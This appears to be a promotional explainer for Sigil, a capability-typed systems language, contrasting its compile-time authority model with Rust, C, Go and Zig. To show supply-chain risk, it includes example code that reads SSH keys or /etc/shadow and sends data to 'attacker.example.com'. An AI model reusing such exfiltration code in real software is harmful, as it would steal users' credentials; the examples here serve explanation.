Memory safety vs authority safety

What Rust gets right

Rust's borrow checker is a genuine breakthrough. It eliminates the entire class of memory corruption bugs — use-after-free, buffer overflows, data races — at compile time, with zero runtime overhead. For a systems language, that's an enormous win.

Rust is also fast, has no garbage collector, produces small binaries, and has a self-hosted compiler. There's a lot to admire. Sigil is not a rejection of what Rust built — it's an extension of the same principle into a dimension Rust left unaddressed.

What Rust doesn't address

Rust prevents memory corruption. It does not prevent authority confusion. Any Rust function — including any transitive dependency pulled in from crates.io — can call std::fs::read_to_string(), std::net::TcpStream::connect(), or spawn a process. No explicit permission is required. Authority is ambient.

This matters enormously for supply-chain security. A malicious or compromised Rust crate gets the full OS authority of the process that loaded it. Memory safety doesn't prevent it from exfiltrating your SSH keys or phoning home.

The supply-chain attack scenario in Rust: Your binary depends on 47 crates. One crate is compromised. The compromised code calls std::fs::read_to_string("/home/user/.ssh/id_rsa") and TcpStream::connect("attacker.example.com:443"). Rust's borrow checker finds nothing wrong — both calls are memory-safe. The attack succeeds.
The same scenario in Sigil: Your binary depends on 47 Sigil modules. One module is compromised. The compromised code tries to open a file — but it was never passed a Cap<FileRead>. The compiler rejects the call. Tries to make a network connection — no Cap<NetConn> in scope. Compile error. The attack is structurally impossible at the language level.
Rust — any function, any file
// This compiles and runs fine.
// No authority check anywhere.
fn innocent_looking_helper() -> String {
    // Any crate can do this.
    std::fs::read_to_string(
        "/home/user/.ssh/id_rsa"
    ).unwrap_or_default()
}

// And phone home:
fn exfiltrate(data: &str) {
    use std::net::TcpStream;
    use std::io::Write;
    let mut s = TcpStream::connect(
        "attacker.example.com:443"
    ).unwrap();
    s.write_all(data.as_bytes()).ok();
}
// Rust finds no memory bug here.
// The attack is valid Rust.
Sigil — authority must be passed
// This does NOT compile.
// No Cap<FileRead> in scope.
fn innocent_looking_helper() -> Str {
    // ERROR: no Cap<FileRead> available
    // fs.open() requires one explicitly
    fs.open("/home/user/.ssh/id_rsa")
    // ^^ compile error — no `fs` in scope
}

// The cap-bearing version — explicit:
fn read_file(
    fs: Cap<FileRead>,
    path: Str
) -> Result<Str> {
    fs.open(path)?.read_all()
}
// Callers control what paths are
// reachable by restricting the cap.

The key insight

Rust and Sigil are solving different problems. Rust proves that memory is accessed safely. Sigil proves that authority is used correctly. A fully secure system needs both. Sigil's capability model subsumes memory safety (Sigil also has memory safety guarantees) and adds authority safety on top.

Rust prevents use-after-free. Sigil prevents use-without-authority. Both matter. Only one of them currently exists at the type-system level.

C: the ambient authority model at full exposure

C is the language that built Unix, Linux, and essentially every OS in production today. Its performance is the reference point every systems language is measured against. But C's security model — or lack of one — is the root cause of the majority of serious CVEs over the past 40 years.

What C does well

C is fast. It maps closely to the hardware. It has zero runtime, no GC, and produces compact, predictable native code. The ecosystem of C tooling — compilers, debuggers, profilers, static analyzers — is deep and mature. For raw systems work, C's performance ceiling is effectively the hardware's.

C's structural problem

C has no memory safety and no authority model. Any function can call fopen(), connect(), mmap(), or execve() with no explicit permission required. Authority derives from the process, and the entire process gets the same authority. There is no way to express "this function should not access the network" in C's type system, because C's type system has no concept of authority.

The supply-chain problem in C: You statically link a C library for parsing JSON. The library contains a vulnerability — or is maliciously modified. It calls fopen("/etc/passwd", "r") and connect(sockfd, ...). The OS provides no obstacle. The library runs with the same authority as the rest of your program. Defense is impossible at the language layer.
C — ambient, untyped authority
/* Any function can open any file. */
/* Any function can connect to any host. */
/* The type system says nothing about authority. */

int parse_and_exfiltrate(
    const char *json
) {
    /* innocent JSON parsing... */
    FILE *f = fopen("/etc/shadow", "r");
    if (f) {
        /* read and send over the network */
        int sock = socket(
            AF_INET, SOCK_STREAM, 0
        );
        /* ... connect, send ... */
        fclose(f);
    }
    /* All of this is valid C. */
    /* The compiler has nothing to say. */
    return 0;
}
Sigil — authority-typed
// parse_json receives no capabilities.
// It cannot open files or connect.
// Structurally impossible, not "forbidden by policy".

fn parse_json(
    input: &[u8]
) -> Result<JsonValue> {
    // No fs, no net in scope.
    // Cannot open files.
    // Cannot connect to anything.
    // The function signature IS the proof.
    JsonParser::new(input).parse()
}

// A compromised version of this function
// that tries to open a file fails at
// COMPILE TIME — not at runtime,
// not in a security audit.

Sigil matches C on performance

Sigil's security model costs nothing at runtime. Capabilities are compile-time constructs. At runtime, a Cap<FileRead> is just a handle — the authority check happened during compilation. The generated code is as lean as C. The cc0 compiler targets the same native ISAs and produces binaries that run without a runtime or GC.

Go: productivity at the cost of systems control

Go made a deliberate tradeoff: make it easy to write correct concurrent servers, at the cost of low-level control. That tradeoff makes Go excellent for cloud services and tooling. It makes Go a poor fit for operating systems, embedded systems, or security-critical code where you cannot afford GC pauses or ambient authority.

Go's strengths

Go has excellent concurrency primitives (goroutines, channels), fast compile times, a strong standard library, and memory safety through a garbage collector. It's productive for writing networked services and CLI tools. The toolchain is simple and the language is deliberately small.

Where Go falls short for systems work

GC pauses. Go's garbage collector has improved significantly but still introduces latency pauses that are unacceptable in hard real-time contexts — device drivers, kernel code, latency-sensitive network stacks. You cannot control when the GC runs.

No ambient authority control. Like C and Rust, any Go function can call os.Open(), net.Dial(), or spawn goroutines that make network calls. There is no type-system mechanism to constrain a package's authority. Go's reflect package further undermines authority control by enabling runtime introspection that can bypass normal access paths.

Systems-level limitations. Go's runtime assumes a hosted OS environment. Writing kernel code, bare-metal firmware, or bootloaders in Go is not practical — the runtime's requirements for scheduling, goroutine stacks, and GC are incompatible with those environments.

Go and authority: import "os" gives any Go file access to os.Open(), os.Stdin, os.Getenv(), and os.Exit(). import "net" gives access to net.Dial() and net.Listen(). There is no import-level authority model — importing a package is not the same as being granted permission to use its most powerful operations. Any transitive dependency gets the same ambient authority.
Sigil vs Go summary: Sigil targets the workloads Go is not suited for — kernel code, drivers, embedded systems, security-critical code — and adds the authority model Go lacks. For writing cloud services, Go remains pragmatic. For building operating systems, Sigil is the right tool.

Zig: the closest peer — without the capability model

Zig is perhaps the language most similar to Sigil in intent. It targets systems programming without a GC, aims for simplicity, eliminates C's undefined behavior in most cases, and is self-hosted. It's fast, it's practical, and it has gained significant traction. But it does not have a capability model.

What Zig gets right

Zig has no GC, no hidden control flow, no operator overloading, and no macros — the "no magic" philosophy keeps the language auditable. Its comptime system allows powerful compile-time metaprogramming without a separate macro language. Zig is genuinely fast and produces lean binaries.

Zig also has excellent C interop — you can import C headers directly and call C functions with no FFI layer. For projects that need to interact with the C ecosystem, this is a real advantage.

The gap: ambient filesystem and OS access

In Zig, std.fs.cwd() returns the current working directory as a directory handle — usable by any code in the process, any time, without any explicit authority grant. std.net.tcpConnectToHost() is similarly ambient. Any Zig module can use these functions. There is no type-system mechanism that says "this module should not access the filesystem."

This is not a criticism of Zig's design philosophy — Zig isn't trying to build a capability language. But for the specific problem of confining untrusted code and enforcing least-privilege at compile time, Zig provides no tools. You'd need to enforce these policies through conventions, code review, or OS-level sandboxing — none of which provides compile-time guarantees.

Zig — std.fs.cwd() is ambient
// Zig — any function can access the FS
const std = @import("std");

fn readConfig() !std.fs.File {
    // std.fs.cwd() is ambient authority.
    // No capability needs to be passed.
    // Any function in the process can do this.
    return try std.fs.cwd().openFile(
        "/etc/config",
        .{ .mode = .read_only },
    );
}

// A compromised Zig dependency can call
// this freely. No type-level obstacle.
Sigil — authority in the type signature
// Sigil — the capability is the contract

fn read_config(
    fs: Cap<FileRead>
) -> Result<Config> {
    // The type signature tells you:
    // - what authority this fn needs
    // - what authority it can exercise
    // - what a caller grants by calling it
    let f = fs.open("/etc/config")?;
    Config::parse(f.read_all()?)
}

// A compromised Sigil module without
// Cap<FileRead> literally cannot
// open a file. Compile-time proof.

Which to choose

If you need C interop, a large existing ecosystem, or are writing firmware where authority isolation is not a concern, Zig is an excellent choice. If you're building security-critical systems — operating system components, capability-isolated drivers, sandboxed parsers, or any code where least-privilege is a hard requirement — Sigil's type system gives you guarantees Zig cannot provide.

Detailed feature matrix

A comprehensive look across more dimensions. Data reflects the language's type system and standard library semantics, not third-party tooling or workarounds.

Language Mem Safe Cap Security GC Systems-Level Self-Hosted UB-Free Null Safe Concurrency Async Pkg Mgr Compile Speed Binary Size
Sigil ✓ type-native ✗ None ✓ bare metal ✓ cc0 ✓ Result/Option ✓ cap-scoped ✓ sigil.pkg Fast Minimal
Rust ✓ borrow ckr ✗ ambient ✗ None ✓ bare metal ✓ rustc ~ unsafe exists ✓ Option<T> ✓ Send/Sync ✓ async/await ✓ Cargo ~ Slow Small
C ✗ ambient ✗ None ✓ bare metal ✓ GCC/Clang ✗ NULL pointers ~ pthreads ✗ manual ~ make/apt Very Fast Minimal
C++ ~ opt-in RAII ✗ ambient ✗ None ✓ bare metal ✓ clang ~ std::optional ~ std::thread ✓ co_await ~ CMake/vcpkg ~ Slow w/ templates ~ Medium
Go ✓ GC ✗ ambient ✓ GC pauses ~ hosted only ~ ~ nil pointers ✓ goroutines ~ channels ✓ go mod Very Fast ~ Large (runtime)
Zig ~ opt-in safety ✗ ambient ✗ None ✓ bare metal ~ Debug builds ~ optional types ~ manual ~ async (WIP) ✓ zig build Very Fast Minimal
Ada/SPARK ✗ ambient ~ opt ✓ bare metal ✓ GNAT ✓ SPARK ✓ tasks ~ ~ Alire ~ Moderate Small
Swift ✓ ARC ✗ ambient ~ ARC ✗ hosted ~ ✓ Optional ✓ async actors ✓ async/await ✓ SwiftPM ~ Moderate ~ Medium

= yes / strong   = no / weak   ~ = partial / conditional. Cap Security = authority enforced by type system at compile time. GC column: ✗ None = no GC (desirable for systems work); ✓ = has GC.